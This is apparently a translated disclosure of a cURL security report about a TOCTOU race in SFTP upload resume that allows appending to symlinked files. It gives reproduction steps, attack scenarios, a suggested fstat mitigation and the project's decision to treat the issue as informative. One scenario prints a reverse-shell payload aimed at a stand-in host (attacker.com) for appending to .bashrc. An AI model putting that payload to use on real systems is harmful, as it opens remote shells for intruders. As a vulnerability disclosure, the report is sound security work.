[SFTP] TOCTOU竞态条件漏洞:上传恢复逻辑导致任意文件追加
报告概览
报告ID: #3432833 状态: 已公开,被认定为信息类问题 严重性: 中危 (4 ~ 6.9) 弱点类型: 检查时间到使用时间 (TOCTOU) 竞态条件
漏洞摘要
cURL的SFTP上传恢复功能中存在一个检查时间到使用时间 (TOCTOU) 竞态条件漏洞。当使用 -C - 选项(或在代码中设置 CURLOPT_RESUME_FROM 为 -1)恢复上传时,libcURL首先执行一个STAT操作来确定远程文件的大小以及恢复上传的正确偏移量。随后,它执行一个OPEN操作来开始写入。
关键漏洞窗口:在STAT和OPEN调用之间存在一个时间窗口。拥有SFTP服务器认证权限的攻击者可以利用此漏洞,将目标文件替换为指向系统上另一个文件的符号链接。由于恢复操作的OPEN操作不使用截断标志(例如 O_TRUNC),cURL将继续定位到先前确定的偏移量,并将数据追加到符号链接所指向的目标文件。这使得攻击者可以将任意数据追加到用户有写权限但无意修改的文件中。
受影响版本
该漏洞在cURL 8.18.0-DEV(截至2025年11月的master分支)上复现。易受攻击的逻辑似乎是SFTP“从末尾恢复”功能(-C -)的基础,因此很可能也影响许多早期版本。
可复现漏洞的典型 curl -V 输出如下:
|
|
复现步骤
1. 环境搭建
- 需要一个SFTP服务器。对于本地测试,可以在Linux机器上使用
openssh-server,允许连接到localhost。 - 攻击者需要在服务器上拥有一个经过认证的用户账户,并在特定目录中拥有写权限。
- 受害者是一个将使用恢复标志向此特定目录上传文件的cURL用户。
2. 准备攻击脚本
- 在SFTP服务器上创建服务器端脚本
race_server.sh。该脚本将快速将目标文件与指向敏感文件的符号链接互换。 - 在客户端机器上创建客户端脚本
race_client.sh。该脚本将反复尝试触发竞态条件的cURL上传。
3. 执行攻击
- 在服务器上运行
./race_server.sh。它将开始在一个紧密循环中创建和删除符号链接。 - 在客户端,使用正确的凭据和路径配置
race_client.sh,然后运行./race_client.sh。它将开始发送上传请求。 - 让两个脚本运行15-30秒。客户端将显示一些“No such file or directory”错误,这是预期的。
4. 验证结果
- 停止两个脚本(
Ctrl+C)。 - 在服务器上,检查符号链接所指向的敏感文件(例如
/tmp/test_vuln.log)的内容。 - 如果漏洞利用成功,客户端payload文件的内容将被追加到敏感文件中。
易受攻击的代码流程
漏洞核心位于 lib/vssh/libssh2.c 和 lib/vssh/libssh.c 中的 sftp_upload_init 函数内,具体是以下逻辑分支:
if(data->state.resume_from < 0) →执行STATelse if(data->state.resume_from > 0) →执行不截断的OPEN
漏洞影响
主要影响是完整性丧失。拥有SFTP服务器认证访问权限的攻击者可以利用此漏洞将任意数据追加到受害者用户拥有写权限的任何文件中。根据目标文件的不同,可能导致更严重的后续影响:
- 远程代码执行 (RCE):如果攻击者将恶意命令追加到用户的启动脚本(例如
.bashrc、.profile)或由cron作业执行的脚本中。 - 拒绝服务 (DoS):如果攻击者破坏了关键的系统或应用程序配置文件。
- 日志注入/篡改:攻击者可以注入虚假日志条目以误导管理员或隐藏其他恶意活动。
该漏洞的严重性评级为中危,因为利用它需要攻击者事先拥有服务器的认证访问权限,并且依赖于在竞态条件中获胜。
建议的缓解措施
根本原因在于缺乏对打开的文件是否与之前检查的文件是同一个的验证。最稳健的解决方案是在文件打开后执行检查。
- 在
sftp_upload_init中调用libssh2_sftp_open_ex()后,应对返回的文件句柄进行后续的libssh2_sftp_fstat_ex()调用。 - 应将此fstat调用获取的属性(例如,inode号,如果SFTP服务器扩展提供)与初始stat调用收集的属性进行比较。
- 如果属性不匹配,表明文件已被交换。必须中止传输,并向用户返回错误。
讨论要点
开发团队的观点
- 如果攻击者已经拥有在服务器上替换目标文件为符号链接的权限,那么他本身就可以造成严重破坏,而无需cURL的漏洞。攻击者已经拥有了“超级权限”。
- 该漏洞使攻击者能够控制写入偏移量(利用STAT调用中过时的元数据),而普通的符号链接替换只允许重定向写入路径,无法控制偏移量。这是该漏洞带来的额外能力。
- 利用此漏洞,攻击者需要非常了解客户端情况(例如目标文件大小),并且依赖于敏感时机赢得竞态条件。
- cURL无法保护用户免受一个能在服务器端随时替换目标文件为符号链接的攻击者的攻击。
报告者的反驳与场景分析
报告者强调,这是一个典型的 “困惑的代理人” (Confused Deputy) 问题。cURL进程是拥有特定权限的“代理人”,攻击者诱使其滥用这些权限。
场景1:使用服务账户的多用户SFTP服务器
假设存在一个服务器,其中:
- 低权限用户
attacker拥有一个SFTP账户。 - 一个单独的、权限更高的账户
victim_app也使用SFTP服务器。此账户由一个自动化应用程序使用,拥有对关键配置文件(例如/opt/app/config.ini)的写权限。 - 存在一个共享目录
/var/sftp/uploads,attacker和victim_app都可以在其中创建和删除文件。
attacker 不能直接写入 /opt/app/config.ini。但是,他们可以观察到 victim_app 进程经常使用 curl -C - 向 /var/sftp/uploads 上传文件。攻击流程如下:
- 攻击者准备一个payload,例如
new_admin_user=attacker。 - 他们运行一个脚本,竞态创建符号链接:
ln -s /opt/app/config.ini /var/sftp/uploads/victim_file.tmp。 victim_app的cURL进程(以victim_app用户的权限运行)触发TOCTOU漏洞。- cURL将攻击者的payload追加到
/opt/app/config.ini。 结果:攻击者通过迫使victim_app进程写入一个其自身无法访问的文件,成功地实现了权限提升。
场景2:“受控追加” vs. “简单破坏”
- 简单破坏:攻击者符号链接到
/bin/ls。cURL用户追加数据,破坏ls二进制文件。系统变得不稳定。这是有噪音和破坏性的。 - 精确攻击(此漏洞):攻击者知道
original_file.txt的大小是1024字节。他们将其符号链接到/home/victim/.bashrc。cURL进程将打开.bashrc,定位到偏移量1024,并追加攻击者的payload。payload可以是一个干净的、有效的shell命令,如\n/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n。
关键区别:一个是简单的破坏,另一个是可预测且受控的追加,可以在不破坏原始文件主要功能的情况下导致代码执行。
核心技术区别
- 普通的符号链接替换只允许攻击者重定向写入操作。
- cURL的漏洞允许攻击者重定向写入并控制偏移量,利用的是过时的元数据。这种偏移量控制是cURL实现所独有的,也是该漏洞的实质。
- 竞态窗口允许绕过通常在操作前执行的应用程序级安全检查,这些检查通常会阻止此类操作。
项目方最终结论
状态: 已关闭,标记为“信息性” cURL项目方认为此问题不属于安全问题。因为该漏洞依赖于攻击者已经存在并能够插入恶意符号链接,这本身就已经构成攻击。cURL的行为可能使其更糟,但这已经是一种攻击,而且是cURL无法防范的。
项目方表示将致力于整理一份“已知风险”文档,其中将包含此细节(相关工作见GitHub PR #19631)。根据项目的透明政策,该报告被公开披露。